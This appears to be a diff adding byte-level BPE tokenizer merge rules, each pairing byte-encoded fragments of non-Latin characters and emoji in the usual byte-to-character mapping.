+Ô ± +âĨ ² +âĪ İ +âľ « +ëĩ ½ +ëı IJ +ëķ Ħ +ï¦ ³ +ï§ Ŀ +ïº Ļ +ðŁij » +ðŁĵ º +êµ ¼ +ìĮ © +ðŁĮ ² +È ± +íĶ ķ +ðŁĺ ¤ +ãĮ ¢ +Ê Ķ +ठ¡ +á¼ Ī +ëİ ĥ +ë© ± +ë® Ī +ðĿIJ « +âĬ ķ +ëĥ ł +ë» ¬ +íĭ Ķ +Õ ¤ +á¼ ± +âľ ¥ +âĺ Ħ +âĪ ¥ +âļ ķ +ðŁij Ħ +ðŁİ ħ +àº Ļ +âĶ ¬ +á½ µ +Õ ¾ +Ö ģ +âĹ Ķ +ê¿ į +ëĸ µ +ë© İ +ë® ´ +ìķ ´ +áĥ ľ +á¼ ¡ +âĶ Ĭ +âķ ® +âĹ ¼ +ðŁį ¾ +ðŁĽ į +ðŁij Ĺ +ðŁ¤ ŀ +âľ Ħ +Õ Ģ +ঠ² +Ë ī +⣠¨ +Ä ¯ +Ï Ĭ +á´ ľ +ë¹ ³ +ï³ ĭ +ï¿ ł +Ä ª +âĤ ¸ +âľ ± +ê» IJ +ëĭ » +ë§ ¸ +ìŀ ¿ +ì© ¨ +ì ŃIJ +ì° ¿ +íħ Ł +ðĿIJ § +ðĿij ij +ðŁĮ İ +ðŁĵ ® +ðŁķ Ķ +âĹ Ļ +âĹ » +âŀ § +ìŁ Ŀ +âľ ¬ +ãĥ ° +âģ Ī +â ĵĺ +ðŁ ĴĮ +ï¬ ĥ +àº Ķ +ìĶ ° +ðŁĺ ª +× Ģ +ìĥ ¨ +ïŃ ĭ +ðŁį ķ +ðŁĺ ´ +Ï ³ +á¼ Ħ +á½ ħ +âĩ ¢ +âķ Ń +ìĺ » +íĬ ¤ +Ü ĺ +⤠´ +âĹ į +áŀ Ł +ðŁį º +áŀ ļ +ðŁı Ĭ +ðŁIJ · +Ê Į +á½ º +âģ » +ê½ Į +ëĪ Ĺ +ë Ĺı +ì¿ ° +íĢ ¼ +íį ħ +ï· ² +ðŁĮ ı +ðŁį « +ðŁį ³ +ðŁİ ° +ðŁij ° +ðŁĴ ² +á¥ Ļ +ðŁIJ Ł +ï¿ ¡ +ðŁĹ £ +ðŁį ľ +âľ ² +ãİ ¢ +ðŁĶ ° +á¼ ¸ +á½ ij +Ä İ +áĦ Ģ +âĻ ķ +ëł Ŀ +ìĪ ´ +ïŃ Ń +Ó ľ +Ô Ģ +ëĢ ľ +ëĥ Ķ +ìĬ Ľ +ì« ij +ìº ¥ +ìº ¬ +ðĿij ¦ +ðŁĶ ¶ +ì¾ ¨ +ðĿIJ ļ +ðŁį » +ðŁĴ į +ðŁ¤ ¡ +ðŁķ Ĭ +â½ ĩ +âĵ IJ +ðŁį Ń +ðŁį ª +ðŁĶ Ĩ +Ò ¡ +á´ ĩ +É Ĺ +Ü Ķ +âĦ İ +âĿ ĥ +ëĹ Ģ +ï² Ķ +ïº Ī +ðĿIJ » +ðŁĴ Ĭ +ðŁļ « +Ñ ° +Ñ ³ +ठ· +âĹ ł +ðŁij ¤ +ï¾ ĩ +âĺ ĵ +ðŁį µ +ðŁ¤ ¨ +âĸ Ń +à® ´ +Ü ¢ +Ü ¬ +à´ ® +ðŁķ º +Ô ¹ +Õ £ +à´ ¯ +á ´Ģ +âĮ ī +âľ IJ +âŀ ¦ +ê¹ ½ +ëĮ ľ +ðŁı ¥ +ðŁĵ © +Ò ¹ +Ó ĺ +ठħ +âĿ § +Æ Ĺ +âĹ ½ +ðŁij « +ðŁİ § +ðŁij £ +âľ » +ðŁĻ ħ +ðŁĺ ĸ +ðŁĴ ® +ຠ° +ðŁĶ ľ +ðŁį Ħ +ðŁ¤ Ŀ +á ĥĿ +áŀ Ģ +âĩ ¦ +Ê ¾ +Ò ® +Õ ¼ +ठĨ +âĹ ħ +âļ ĵ +âļ ĸ +ê¿ © +ë¯ Ħ +ìIJ IJ +ìŀ ° +ì§ Ń +íĭ ĭ +íİ ¨ +íĻ § +ï² ij +ðŁİ Ĺ +Ù ³ +ðŁij ¸ +ঠ® +ðŁij ķ +Ú µ +âĢ ¾ +âŀ ° +ðŁij ¯ +ðŁİ ¼ +ðŁı ģ +Ä º +Ê ı +Ú ³ +âı ± +ê½ Ī +ëĿ Į +ìĮ ī +ìĹ · +ìŀ ´ +íĹ ¹ +íľ ¨ +ðĿĹ ² +ðŁĮ IJ +ðŁİ Ļ +ðŁı µ +íĽ Ļ +ðĿij ħ +ðŁĺ ¶ +âĵ ħ +âķ ¥ +ðŁį ı +ï¦ İ +Õ © +ðĿIJ Ħ +Ó £ +Ú ¿ +âĻ ļ +ðŁĶ Ĺ +Ḡ« +âĭ ® +âĸ ¦ +⼠½ +âľ µ +ãħ Ĩ +ãħ Ĭ +ëĦ Ļ +ëĿ ¨ +ë¥ Ħ +ìĦ ¦ +ì§ ° +ì§ ¹ +íī Ī +ï§ ij +ï» ĩ +ðŁĮ ¾ +ðŁı ĸ +ðŁIJ ij +ðŁĴ ³ +ðŁĵ Ĩ +Û ĩ +Ü ķ +á½ ½ +ëĦ ľ +à´ ² +à´ ³ +àº Ń +áĥ Ľ +âĿ Ķ +âij ħ +áĥ ¥ +ðŁĵ ħ +âŀ ³ +á´ µ +ï¹ ¡ +ï¹ ¶ +Î Ĩ +ठ¥ +áī µ +âĿ Ļ +âĿ ± +ëī ł +ëİ ł +ëı Ľ +ë¿ ħ +ìĶ ¸ +íij ¯ +íŀ ī +íŀ Ľ +ï§ Ħ +ïŃ ĺ +ïº ¦ +ï» ¸ +ðĿij Ĥ +ðĿij ı +Ï ij +Ú ł +áĢ Ķ +áŀ Ķ +á¹ ¢ +ëĦ ¸ +ðĿIJ ¨ +ðŁĩ ´ +Õ ° +ðŁij ł +ðŁį Ĩ +ðŁı Ģ +ðŁ ijIJ +ðŁį ĩ +ðŁIJ £ +áĪ Ń +Ü ª +ðŁ ĮĢ +áŀ ĺ +âĩ Ħ +ðĿIJ Ģ +Ê Ļ +âĶ ¼ +ðŁı ¿ +Æ · +È ł +Ñ ½ +âĤ ¨ +ê´ Ń +ê¹ » +ëĶ ¨ +ìĪ Ģ +ì¾ ° +íĨ Ī +ï® § +ï¯ ½ +ðŁĶ ħ +ðŁĶ ® +Å ¢ +Ê ° +Ñ ¸ +ठ£ +âĬ Ĺ +ëª Ħ +ï¹ · +ïº ħ +ðĿIJ µ +ðŁĮ ¶ +ðŁĵ ° +ðŁĶ · +ðŁĸ Ĵ +ðŁ¤ ² +ëī © +ðŁİ Ĩ +ðŁ§ IJ +ðŁį ® +âĨ º +âĿ ¢ +ðŁij ª +ðŁij ± +âĨ ¡ +áŀ ı +Ú ķ +ðŁį ¹ +ðŁĴ Ģ +Ë ® +Ó ¨ +Ö ħ +ठĩ +âĤ ¡ +âĪ ķ +âĺ ī +ê¹ ¼ +ê¼ IJ +ì½ ¸ +ðĿIJ ¬ +ðŁı ħ +ðŁij Ļ +ðŁĴ ī +ðŁ¤ Ļ +È ĺ +É ³ +É ¹ +Ù º +áĢ Ħ +á¿ ³ +âļ ĺ +âĿ Ĩ +ëĨ ī +ìĸ į +ìĺ ĩ +ì¥ ĺ +íĸ ħ +íĻ ij +ï® Ĭ +ï¿ Ń +ðĿĴ IJ +ðĿĹ ¢ +ðŁĶ ĸ +ðŁĶ ¨ +ðŁļ ij +ðŁļ ² +Æ ¸ +âĹ ¥ +ðĿIJ Ń +ðŁį ½ +âĹ ij +âĵ ĩ +ðŁĶ ± +âľ ¼ +ï¹ ĥ +âķ ± +ãĢ Ĺ +ðŁı ĭ +ðŁļ ´ +ðĿIJ ® +Ä ļ +Õ ı +Ä ¶ +áĥ ij +á¹ ¬ +Ä Ī +Ä Ĵ +Ò ° +Ó ķ +â IJ +âIJ £ +âĹ ¢ +âļ Ļ +ãħ Ĺ +ê° ¬ +ê³ ª +ê» Ģ +ëĦ ´ +ëİ ģ +ëĿ Ķ +ë¬ ½ +ëŃ į +ìĩ ³ +ì° ¹ +íĮ ¹ +íŀ Ŀ +ï® ĭ +ï ¶Ī +ðĿĴ Ĥ +ðŁ¥ Ģ +ðŁ¦ ħ +Ê ĺ +á¼ ij +âģ İ +ðŁį ŀ +âĨ ĸ +âĨ Ļ +ðŁİ ĥ +âĦ ¡ +âĭ ± +ðŁĶ į +ಠ¨ +áµ ĥ +âĶ « +⦠¿ +ðŁĩ » +Æ ¤ +Ò ı +Ò · +Û ī +à® ķ +Ḡ³ +ï¬ ± +ðŁĨ Ķ +Ú Ń +Û ¦ +áħ ¡ +âĦ ¹ +ê¿ İ +ëķ Ķ +ë¼ ī +ìļ § +ì² µ +ì´ ¨ +íĬ Ī +íĸ IJ +ðĿĹ ĺ +ðŁĩ ¿ +ðŁİ ĸ +ðŁij ħ +ðŁ ĵĺ +ðŁļ Ļ +ðŁĽ µ +à¶ ½ +⼠µ +ðĿIJ ³ +ðĿIJ ¸ +âļ Ķ +ðŁij Ń +Ó ij +âĶ ¯ +ðŁħ ¿ +ðŁĺ ¹ +ï¿ « +â¼ ¤ +ðŁĴ ĩ +ðŁĵ İ +ðŁĸ ĭ +ঠ¸ +ðĿIJ į +Ä ² +Ï ĭ +Ñ ¬ +Ú ¬ +Ü Ĵ +á´ ¬ +ï¨ Ħ +É £ +Ë ij +Ï µ +Ò Ŀ +Û ¥ +Ü ł +๠Ľ +áĥ ķ +áĬ ķ +á¾ ¶ +âĤ · +âĩ ¾ +âķ © +âĸ IJ +âĺ ª +âĺ ® +âĿ ļ +âĿ Ń +âŀ ± +âµ İ +ãı Ĭ +ë© ĵ +ìĹ ¾ +ìª Ħ +íĵ Į +íķ ¼ +ïŃ ¬ +ðĿij Ĩ +ðĿij ŀ +ðĿĸ Ĭ +ðŁİ ¸ +ðŁı Ħ +ðŁij µ +ðŁĴ ł +ðŁĶ ĺ +ðŁ¥ Ĥ +Å ª +à· ĥ +á´ ¼ +âĬ ° +ë³ ı +ë´ £ +ï¥ ľ +ðŁĵ Ī +ðŁķ ¯ +ðŁ§ Ģ +âĻ IJ +ðŁĨ Ĺ +ðŁĵ ķ +ðŁ§ ģ +Ü « +âĿ IJ +Õ ķ +འķ +âŀ Ŀ +ঠķ +ðĿIJ ¶ +É ¢ +Î Ħ +áĨ ¢ +âĤ ± +Õ į +à¡ ķ +á´ ° +Ḡ© +⼠· +âĿ ® +ê¡ ĵ +ëı ¤ +ëĹ IJ +ëµ Į +ìij Ī +íı ¿ +íĹ µ +ðĿIJ İ +ðŁĨ ĺ +ðŁı Ł +É ¥ +Õ » +à¡ Ķ +ठĸ +á´ ¸ +âİ Ļ +âİ ¥ +âı ³ +ëģ ķ +ëĬ ī +ì¡ į +ì¹ ¡ +ï¦ ¶ +ï¬ Ł +ï® « +ï® ¯ +ï± ĥ +ï ·» +ïº µ +ðĿĹ Ķ +ðĿĹ ¡ +ðŁİ ¨ +ðŁĶ Ĵ +Ú Ľ +ठ§ +âŀ ¹ +áĢ Ģ +ðŁį ħ +âĹ ¤ +ठł +ðŁIJ ¥ +áĥ Ĵ +ðŁı Ŀ +ðŁį ¼ +ãĮ § +âĿ Ľ +ðŁIJ Ī +ঠ¯ +áĢ ŀ +ãĢ ĸ +áŀ Ļ +ঠª +Õ Ĩ +âĬ Ĩ +âľ ¾ +ðŁIJ Ĺ +ï¹ ¿ +Ä ¦ +Ü Ł +ಠł +ಠ¥ +áŀ ī +á´ ¥ +á´ © +á½ Ģ +á½ ¡ +âĨ ķ +âŀ ¯ +ê¡ ij +ëij £ +ë± Į +ìĪ ij +ìľ Ķ +ìŀ ½ +ì¨ į +ðĿij Ģ +ðŁĮ Į +ðŁį ¦ +ðŁį © +ðŁIJ ļ +ðŁĵ Ĵ +ðŁĵ ¹ +ðŁ¥ ij +Ä ĭ +Ë Ĺ +Ñ « +Õ ¢ +Ú ° +â ĮĢ +âĹ Ĥ +âĹ £ +âľ Ľ +âĿ Ĵ +âĿ ĺ +âŀ Ļ +âŀ ² +ãİ į +ê¡ IJ +ëŀ ĸ +ìĬ Ŀ +ìĽ ¤ +ì¡ ĭ +ì¨ ° +íĹ Ļ +ï¥ ¸ +ï³ į +ï» İ +ðĿij ĵ +ðŁĵ Ĭ +ðŁļ ¼ +ï¦ ģ +ðĿķ Ĵ +ðŁ ijľ +ðŁij ¿ +ðŁĩ ½ +à· Ħ +âĸ ´ +ãį ī +âĬ ĩ +ðŁ§ ¸ +Ú ¡ +â¾ ĥ +ðŁĹ » +âĵ ij +ðŁ¤ ¸ +ðŁ¤ ¯ +êĴ ° +ðĿIJ ĵ +âĶ ´ +êĴ ± +áĢ ĺ +â ĽĦ +ï¹ ¹ +Ó Ķ +áĥ ± +Ü ¡ +ß ŀ +âĻ ı +âľ ¸ +ìij ¨ +ðĿIJ Ŀ +ðĿIJ ¥ +ðŁį ī +ðŁij ¼ +ðŁ¥ Ŀ +Æ Ķ +Ý ¬ +ठ« +ຠļ +á´ ´ +á½ ĸ +âĤ ¶ +âİ ¢ +âĿ ħ +⣠« +ãİ Ľ +ë® ¨ +ëº Į +ë¼ ĺ +ìĨ Ŀ +ìľ ³ +ìŀ Į +ì£ Ĺ +ìª ĺ +ì» ¹ +ï· ¼ +ïº Ĥ +ðĿIJ ´ +ðĿIJ ¼ +ðŁĮ ļ +ðŁı « +ðŁĴ ¤ +ðŁĴ ¶ +ðŁĴ ¼ +Ê ķ +Ê ½ +â² Ł +ãī ł +ê¡ Ĵ +ëľ Ģ +ìĥ ¾ +ì¸ ¤ +ï¥ ģ +ðĿļ Ĭ +ðŁļ ĥ +âŀ Ľ +ìħ ´ +áĦ ĭ +âĩ Ĺ +ï§ · +âĺ ĸ +ðŁIJ ¦ +⸠ľ +ðŁĴ ´ +ðŁ¤ ļ +ãĬ Ĺ +âĮ Ľ +áĪ Ľ +༠º +â½ ī +ðŁı ¢ +âĵ ŀ +âĺ ½ +ãĢ Ļ +ðŁ¤ ® +Å IJ +áĥ ¬ +ðĿĹ » +ðŁį ĸ +Æ Ĭ +Ê Ł +ß ĭ +ठĭ +áµ Ķ +á¿ ĥ +âĦ ī +âĮ ĭ +âı ² +âĵ Ī +âĵ ¢ +âķ Ķ +âļ ij +âĿ ĭ +âĿ İ +â µľ +âµ £ +ëĴ Ī +ëľ ģ +ë¶ ĩ +ìį » +ìĺ Ń +ì§ ¢ +íĹ Ģ +ï§ Ĭ +ï ¬¸ +ï± ¡ +ðĿIJ º +ðĿij § +ðĿĺ ¦ +ðŁĵ ¥ +ðŁĺ Ł +ðŁ¥ IJ +Ä ĸ +É ¨ +áĢ IJ +áĥ ĵ +Ạĵ +á¼ ¶ +á½ Ħ +âĤ ¤ +âĮ ľ +âĮ Ł +âİ ł +⼠¸ +âµ į +âµ ı +âµ ĵ +ãĢ ĺ +ë ·¸ +íħ ¼ +ï¦ Į +ïŃ Ħ +ïŃ İ +ðĿĻ ļ +ðĿļ ĺ +༠ĵ +ëŃ ħ +áIJ Ľ +ãİ ¾ +ï¨ Ģ +ðŁĹ ½ +âĻ ŀ +Ë ĸ +âĹ ŀ +ðŁ¤ « +ðŁĺ Ĺ +ï½ ¦ +ðŁ¤ ¢ +âģ ĩ +ãĢ µ +ðŁį Ķ +áĬ ł +ðŁĺ ¼ +ðĿĹ ® +ðŁIJ ³ +ðĿIJ ĭ +ðŁĨ ļ +ðŁĶ Ľ +Ñ » +Ü ¨ +à® ² +âľ ŀ +âµ Ļ +êµ £ +ì¸ ¨ +ðĿ IJľ +ðĿĺ ° +ðŁĶ ½ +Ç » +Ç ¿ +Ê ĩ +Î IJ +Ð Ģ +Ñ ¡ +Ñ ² +Ò Ĵ +Ù ¶ +ß ķ +à¶ ± +áIJ ģ +âģ ŀ +âĸ § +âĽ Ī +âľ ľ +âľ ¹ +⣠¹ +⤠ĩ +ê² Ĭ +ê¾ ľ +ë¯ IJ +ë³ IJ +ìħ © +ìIJ ¬ +ìij ¹ +ï¤ Ķ +ï¦ ļ +ï¬ ł +ïŃ Ķ +ïº ¶ +ðĿĴ ı +ðĿĸ Ĩ +ðĿĹ ¶ +ðŁı Ĥ +ðŁIJ ½ +ðŁĴ © +ðŁĵ ½ +ðŁĹ ¨ +ðŁĹ º +ðŁĺ ¸ +ðŁ¥ § +Å Ĺ +Ê İ +Ò Ļ +× ² +à¤ Ī +á¼ ´ +á¿ ij +âµ ī +ãħ ĵ +ì½ ´ +ðĿĸ ĵ +ðŁĵ Ĺ +ðŁĶ ª +ðŁĸ į +Ï Ĵ +ðŁij ¬ +áĥ Ļ +âĨ ¬ +âĶ ¤ +⼠¹ +âĻ Ł +ðŁļ ¶ +ðŁij ¾ +âĪ ĭ +ðŁIJ ¯ +à¼ İ +âľ · +ï¨ Ļ +âĶ » +ðŁij ¹ +áĦ ī +ຠª +â¾ ı +â½ ħ +ãİ ĸ +Ñ ´ +Õ ® +Ú ¼ +áĢ ķ +áĨ ¼ +ëŃ ı +ðŁIJ ¸ +ðŁļ £ +Æ Ŀ +Ô » +áĥ ¢ +ðŁį ¯ +É ¦ +Õ ¦ +âĻ ĭ +ï¬ « +ðĿĹ ¦ +Ç ļ +É ± +ठī +á´ Ħ +âĻ ĵ +⼠° +⣠ª +ëĥ ĺ +ë¢ ¸ +ìĤ ij +ï® Ķ +ðĿķ ĸ +ðĿĹ § +ðŁĩ ¼ +ðŁĵ ĭ +ðŁļ ľ +ðŁ¥ ¤ +Ä ® +Å · +ß Ĭ +ॠ¥ +à® ª +áŀ Ħ +áµ Ģ +Ḡħ +á¼ ¢ +âĪ Ŀ +âĬ ¹ +âĴ ¶ +âķ ´ +⼠± +⼠³ +⼠º +âŀ Ł +ãı Ħ +ê¸ Ķ +ê¹ Ł +ëĩ ° +ë¹ » +ìĤ ¥ +ìĽ » +ì° Ł +íĥ ° +íĨ º +íļ ½ +ï¤ ´ +ï¥ ¾ +ï³ Ŀ +ðĿIJ ¦ +ðĿĴ ľ +ðĿĴ Ł +ðĿļ Ĺ +ðŁİ Ń +ðŁı ĵ +ðŁı ³ +ðŁı º +ðŁIJ į +ðŁij ĥ +ðŁĴ ı +ðŁ¤ ĸ +ðŁ¤ µ +Õ ² +âµ Ķ +ëĺ ¬ +ï¦ £ +Ê Ĥ +áĨ « +áŀ ij +ðĿĸ İ +ðĿĹ ĸ +áĦ ĥ +âĩ ł +áĢ ¡ +འĦ +âŀ ¸ +ï¦ Ļ +âĩ ļ +ðŁIJ ¬ +ðŁIJ ¢ +â¾ Ĵ +ðŁIJ ¤ +ðŁĶ « +ãĢ ŀ +ï¸ º +ðŁĺ º +â½ ´ +ðŁĨ ķ +âģ ¿ +ðŁį ¨ +ಠķ +ðŁļ ĺ +áŀ ħ +ঠħ +áŀ ¢ +ਠľ +â ļĮ +ãĢ ½ +à· ´ +âĵ Ľ +áĢ ľ +ìĨ ¨ +Ë © +Ü Ĺ +âĭ ¼ +ðŁĻ ī +Å Ĭ +É ĵ +Ê ² +Î ° +Ñ ¼ +Ô ¿ +à¡ IJ +༠ľ +འ¦ +á¶ ľ +âĤ ² +âĨ ¨ +âĬ ¥ +âķ § +âĻ ľ +ãĭ ¡ +ë´ ¬ +ë¶ ij +ìī ¿ +ìİ ħ +ìł ± +ì° § +ï² ¡ +ðĿĴ Ľ +ðĿķ £ +ðĿĹ ľ +ðŁį ² +ðŁİ © +ðŁIJ IJ +ðŁIJ ł +ðŁij ½ +ðŁĴ ij +ðŁĵ ľ +ðŁķ µ +ðŁ ļĮ +ðŁĽ £ +Ê ĭ +Ó ¯ +Ù ¸ +ß Ķ +ß Ļ +à¡ ĵ +á´ į +Ḡ¿ +âı º +âĸ ¥ +ë¤ ½ +íľ ij +ðĿIJ ¹ +ðĿĸ Ķ +ðĿļ İ +ðŁĵ Ħ +ðŁ¦ · +Æ ĥ +à¦ Ł +âĮ Ĥ +âĺ Ń +â² ļ +ëĿ ķ +ðŁİ £ +à® ĩ +འĨ +áħ µ +áĹ ľ +âĢ ½ +âĮ £ +âģ ½ +ðŁĵ ¬ +ðŁ¤ § +âĩ ª +â½ £ +âĹ Ł +ï¨ Ĺ +êĴ ª +ðŁĽ Ģ +Ç Ĥ +ðŁ¥ ¶ +ðŁİ į +ï¿ © +ðŁij Ĵ +áµ Ī +ï¸ ¿ +áħ © +â¾ ¦ +à° ¤ +á´ ĸ +ਠ¬ +àº Ĺ +༠» +Ñ º +ਠª +á´ ³ +ðĿIJ Ī +à» Ģ +á´ ¿ +âĤ į +âĩ ¡ +⼠ª +ðĿIJ Ĥ +ðĿĴ ķ +ðŁ IJľ +Ê į +Ñ ± +འĥ +ë® IJ +ìĽ ¡ +ìľ ģ +ðĿIJ ¿ +ðĿķ ł +ðŁij Ľ +Æ ª +Ï º +Ó ¬ +Ù ¿ +Ý £ +ઠī +à® ¹ +འij +áĨ ¯ +áµ ĩ +âĩ ¥ +âı ª +âĻ ° +âļ Ń +âļ ¾ +ãħ Ħ +êĢ ° +ê° Ĺ +ê² ĭ +ê² » +ê¶ ľ +ê¼ ĩ +ê½ ¹ +ëĤ Ł +ëħ Ī +ëĭ ¢ +ë§ Ł +ëª Ĩ +ëµ Ģ +ì½ ± +íĩ ĺ +íľ ľ +ï§ ¾ +ï± µ +ï² ¢ +ï² ¤ +ðĿĴ Ĭ +ðĿĺ ¯ +ðŁį Ĺ +ðŁı į +ðŁIJ ĺ +ðŁĵ ¡ +ðŁĶ ŀ +ðŁ¤ ³ +ðŁ¥ ģ +ðŁ¥ Ĺ +ðŁ¦ Ĭ +Ä µ +Æ ¦ +Ç µ +É ¯ +Î ı +Õ Ħ +Ü ¥ +འģ +ᨠł +âķ « +ãİ ī +ë· ´ +ìĨ İ +ìİ Į +ì£ µ +íĽ ł +ï§ ª +ï³ ı +ï» º +ðĿij ģ +ðĿij ĩ +ðĿĴ Ĩ +ðŁİ ł +ðŁIJ Ķ +ðŁij Ł +Å ĸ +ठĮ +á¾ ½ +ê¦ Ĵ +à® Ł +á´ ± +ðŁı ° +ðŁIJ ŀ +à½ Ģ +áĢ ħ +âĬ ¿ +ðŁIJ § +ἠģ +â¼ Ī +âĶ ¿ +ðŁ¥ ´ +â¼ ¿ +ðŁ§ ľ +ãħ ¿ +âĦ « +ãĢ ³ +ãĬ Ļ +â¼ Ģ +ï ¦¬ +ðŁı ¬ +ðŁĵ » +áĬ Ľ +áĦ ħ +ຠĬ +ຠĽ +áħ ³ +ðŁij ® +à® ± +âĺ ĩ +ðĿIJ ı +à´ µ +à» ģ +འı +འ¢ +ᥠ± +âĤ £ +ï¥ ¦ +ïŃ Ļ +ï´ © +ï¹ Ĥ +ðŁį £ +ðŁķ ¹ +Ï ĸ +à¶ ¸ +ຠ¢ +áĭ Ń +âİ Ŀ +âĹ Ŀ +âĻ Ī +âĻ İ +ê½ ¥ +ì³ Ķ +ì¼ ij +ï± ° +ðĿij ĥ +ðŁĮ ª +ðŁį ¡ +Å İ +Ê ¦ +Ñ § +Ó İ +Ô ´ +Ú Ī +ß ĵ +ß § +à¤ Ķ +áĪ « +áĪ µ +áĹ © +á´ ł +á¼ ł +âĢ Ĺ +âģ ij +âĦ ı +âĸ ĩ +â² £ +ãĦ ³ +ãī ® +ê³ Ĺ +ëĦ Ĵ +ëĸ « +ë¡ Ħ +ë¹ ° +ë½ ģ +ìĦ ģ +ìĮ ĺ +ìŁ Į +ì³ ī +ì¼ ķ +ï¬ » +ï³ İ +ï¹ ¸ +ï¹ ¾ +ðĿIJ Ĩ +ðĿij · +ðĿĽ ¼ +ðŁİ ı +ðŁİ ŀ +ðŁIJ Ļ +ðŁij Ĥ +ðŁĵ ģ +ðŁĸ ± +ðŁļ į +ðŁļ § +ðŁĽ ¡ +ðŁ¤ Ĵ +ðŁ¥ ŀ +ðŁ¥ © +ðŁ¦ Ģ +ðŁ¦ ĸ +Ë ¢ +Ü ļ +à® µ +áĢ ģ +áī ° +âı Ń +âĻ ¿ +ê³ ĺ +ëı Ŀ +ëķ ĥ +ìħ Į +ìĴ ¸ +ìĽ Ł +íħ Ħ +íľ « +ï§ ĺ +ï¿ ¬ +ðŁı · +ðŁĶ § +ðŁ¥ Ī +Æ ĸ +áŀ ĩ +áŀ ĸ +âģ º +âĹ ľ +âŀ © +ê¦ Ń +ëĻ ¤ +ïŃ ¼ +ðĿĻ ĸ +ðĿĻ £ +ðĿĻ ¤ +ðŁĮ Ŀ +ðŁĶ ij +ðŁĽ ł +ຠĩ +âĺ £ +ãĦ ¨ +ðĿĸ Ĺ +Ó ĵ +âĨ £ +ðŁ¥ ī +ðŁĮ ł +ðŁĺ ½ +ãİ ł +Å § +ðŁIJ Ĵ +ï§ IJ +ðŁĺ ¿ +âĪ ¬ +ðŁIJ ® +⣠± +ಠ¡ +â¾ ¼ +à° ² +Ë ¶ +âĸ ¿ +Õ Ī +áŀ İ +áħ ¥ +áŀ Ĺ +Õ § +ðŁ¤ IJ +ðŁį ł +ঠ¤ +à¶ º +âĻ į +ìĺ Ļ +íĺ ĵ +ï¹ º +ðŁĽ ³ +Å ī +á´ İ +âı ľ +âĶ ³ +ê¸ · +ì¡ Ķ +ðĿĴ Ī +ðĿĴ į +ðĿĴ ¹ +ðĿĵ ĩ +ðĿķ Ł +ðĿĹ ¹ +ðŁĮ ħ +ðŁı ´ +Ä Ķ +Ä ¤ +Å µ +Ç ¾ +Ï ŀ +Ï ¶ +Ô ³ +Ü Ĩ +ß © +à¡ Ĵ +ठĺ +à¶ ļ +འĸ +áģ Ĭ +áĥ ŀ +áĦ Ĥ +áĭ « +á´ º +Ḡ£ +Ḡª +á¹ Ĥ +á¼ · +á¿ ĩ +âĩ Į +âı ¬ +âĻ Į +â® Ł +â´ » +âµ Ł +ê¦ ķ +ê¦ ª +ê¦ ® +ê² Ħ +ê¾ IJ +ëĥ ij +ëķ ĭ +ë¡ ¸ +ë¬ Ģ +ìĩ ¤ +ìĪ © +ìľ ķ +ìŃ ĺ +ì· ° +ì ·¸ +íľ Ģ +ï¤ £ +ï§ į +ï± Ħ +ï³ ij +ðĿIJ ¤ +ðĿĴ ĵ +ðĿĴ ¶ +ðĿĹ ¼ +ðĿĻ Ĭ +ðŁĩ ¾ +ðŁĮ Ľ +ðŁĮ ® +ðŁİ ĩ +ðŁİ ² +ðŁı Ľ +ðŁij ¥ +ðŁij ´ +ðŁĴ Ĩ +ðŁĵ Ĥ +ðŁĵ § +ðŁķ IJ +ðŁĸ ķ +ðŁĺ § +ðŁĻ Ģ +ðŁļ Ĵ +ðŁĽ « +ðŁ¤ ł +ðŁ¥ ļ +ðŁ¥ Ľ +ðŁ¥ £ +Ç ¯ +È § +Î Ĭ +Ò ² +× ° +Û ij +áĥ © +áĦ Į +áĪ į +áī ¥ +áı Ĥ +âģ ± +âĬ ¢ +âĹ ĵ +âĿ ° +ë¿ ¡ +ìĽ © +íģ Ń +íĨ ³ +íĬ Ħ +íĵ ¸ +ï¥ £ +ï¥ ´ +ï± IJ +ï± ¯ +ï³ ļ +ðĿĸ ĺ +ðĿĺ Ģ +ðŁIJ Ĭ +ðŁIJ Į +ðŁij ļ +ðŁĵ ĥ +ðŁļ Ľ +ðŁļ ª +ðŁ¤ ° +Ä ´ +áĥ ® +áĹ ¨ +âĻ ® +â² ŀ +ãĪ Ķ +ì ħį +ãħ ĥ +ï¥ ¡ +ຠ¡ +Õ İ +Õ º +⬠Ľ +â½ ¤ +ðĿIJ ² +âŀ µ +áĢ Ľ +âĶ ħ +âĨ Ł +â¼ Ĭ +ðŁĮ ½ +ðŁļ ¿ +ï¦ Ĭ +ãĦ £ +⼠© +ï© Ľ +ðŁį ± +â¾ ¨ +à´ ¤ +áŀ ģ +ຠŀ +Ê ļ +ðĿIJ Ĵ +à´ ± +áŀ ľ +à® © +à° Ĺ +à´ ļ +âĩ £ +ï¦ ķ +Õ ħ +Æ ĺ +âĤ ¦ +âĶ Ħ +ï¦ Ł +ï¦ « +ðĿIJ ģ +ðĿIJ ĥ +ðŁį ¸ +ðŁIJ ² +Å ¶ +É ĸ +ß ĺ +ภ¦ +à½ Ķ +áĨ · +âģ ķ +âĵ Ĥ +âĿ ľ +ï¥ ¥ +ï¬ ® +ðĿĹ Ŀ +ðĿĹ ¿ +ðŁİ ¾ +ðŁĹ Ŀ +ðŁ¦ Į +Æ ħ +Ç ª +Ò Ĺ +Ü Ľ +ß ł +à¡ ij +áī £ +áĬ Ń +á¹ ¡ +âŀ ¼ +âŀ ¾ +â´ ± +ãī ¡ +ê³ ¯ +ë½ Ī +ìĤ ĺ +ìī ij +ì «ĺ +íĮ ĥ +íĻ ° +ï¤ Ĺ +ðŁĮ ¬ +ðŁĮ ° +ðŁį ¤ +Ä » +Å ĩ +Æ ¨ +É ķ +Ò ¢ +Ò º +Ö į +× ± +Ú ± +Ú ½ +Û IJ +ठĽ +à· Ģ +๠ļ +ຠ« +á´ ¹ +á ½Ķ +á¾ ³ +âĤ Ĵ +âĨ ´ +âĩ Ŀ +âī ħ +â Į¨ +âĵ ĵ +âĸ ¢ +âļ ¬ +âŀ Ń +â² Ĵ +ãİ ¿ +ê¿ ´ +ëĪ ± +ëį ¬ +ëİ IJ +ëIJ « +ëĶ « +ë± ģ +ìĥ ¥ +íĮ ¼ +ïŃ ĵ +ï® ¥ +ï² ° +ðĿIJ ĩ +ðĿIJ ij +ðĿij Į +ðĿĵ ª +ðĿķ ļ +ðĿĺ ª +ðĿĺ ¼ +ðĿļ Ľ +ðŁĩ ¶ +ðŁĮ Ħ +ðŁĮ ķ +ðŁĮ ¤ +ðŁĮ § +ðŁį ¬ +ðŁİ ĭ +ðŁİ » +ðŁı ¨ +ðŁIJ ĩ +ðŁij ĵ +ðŁĵ IJ +ðŁĵ Ļ +ðŁĶ ¼ +ðŁķ Ĵ 